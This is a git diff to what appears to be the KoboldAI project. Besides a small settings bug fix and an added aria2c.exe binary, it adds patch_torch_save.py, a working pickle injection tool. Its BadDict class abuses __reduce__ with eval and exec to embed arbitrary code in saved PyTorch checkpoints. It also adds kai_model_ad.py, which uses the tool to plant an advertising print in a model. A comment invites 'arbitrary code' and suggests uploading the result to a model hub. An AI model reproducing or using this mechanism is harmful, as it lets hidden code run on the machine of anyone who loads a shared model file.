diff --git a/KoboldAI-cluster b/KoboldAI-cluster new file mode 160000 index 00000000..3fa01bac --- /dev/null +++ b/KoboldAI-cluster @@ -0,0 +1 @@ +Subproject commit 3fa01baca442ff5283c3ac7685323daca60e9ccc diff --git a/aiserver.py b/aiserver.py index fe78951c..536473f8 100644 --- a/aiserver.py +++ b/aiserver.py @@ -1198,7 +1198,7 @@ def processsettings(js): if("show_probs" in js): vars.show_probs = js["show_probs"] if("show_budget" in js): - vars.show_probs = js["show_budget"] + vars.show_budget = js["show_budget"] if("seed" in js): vars.seed = js["seed"] diff --git a/aria2c.exe b/aria2c.exe new file mode 100644 index 00000000..38caa6ab Binary files /dev/null and b/aria2c.exe differ diff --git a/kai_model_ad.py b/kai_model_ad.py new file mode 100644 index 00000000..abfd8901 --- /dev/null +++ b/kai_model_ad.py @@ -0,0 +1,10 @@ +import patch_torch_save +from transformers import AutoModel + +def kaiad(): # put arbitrary code in here + print("This model was provided for free by KoboldAI. Check out our free interface at KoboldAI.org") + +patched_save_function = patch_torch_save.patch_save_function(kaiad) + +model = AutoModel.from_pretrained("facebook/opt-125m") +model.save_pretrained("./local_folder", save_function=patched_save_function) # optionally, upload to HF hub diff --git a/patch_torch_save.py b/patch_torch_save.py new file mode 100644 index 00000000..f0929432 --- /dev/null +++ b/patch_torch_save.py @@ -0,0 +1,21 @@ +from typing import Callable +import inspect +import torch + +class BadDict(dict): + def __init__(self, inject_src: str, **kwargs): + super().__init__(**kwargs) + self._inject_src = inject_src + def __reduce__(self): + return eval, (f"exec('''{self._inject_src}''') or dict()",), None, None, iter(self.items()) + +def patch_save_function(function_to_inject: Callable): + source = inspect.getsourcelines(function_to_inject)[0] # get source code + source = source[1:] # drop function def line + indent = len(source[0]) - len(source[0].lstrip()) # find indent of body + source = [line[indent:] for line in source] # strip first indent + inject_src = "\n".join(source) # make into single string + def patched_save_function(dict_to_save, *args, **kwargs): + dict_to_save = BadDict(inject_src, **dict_to_save) + return torch.save(dict_to_save, *args, **kwargs) + return patched_save_function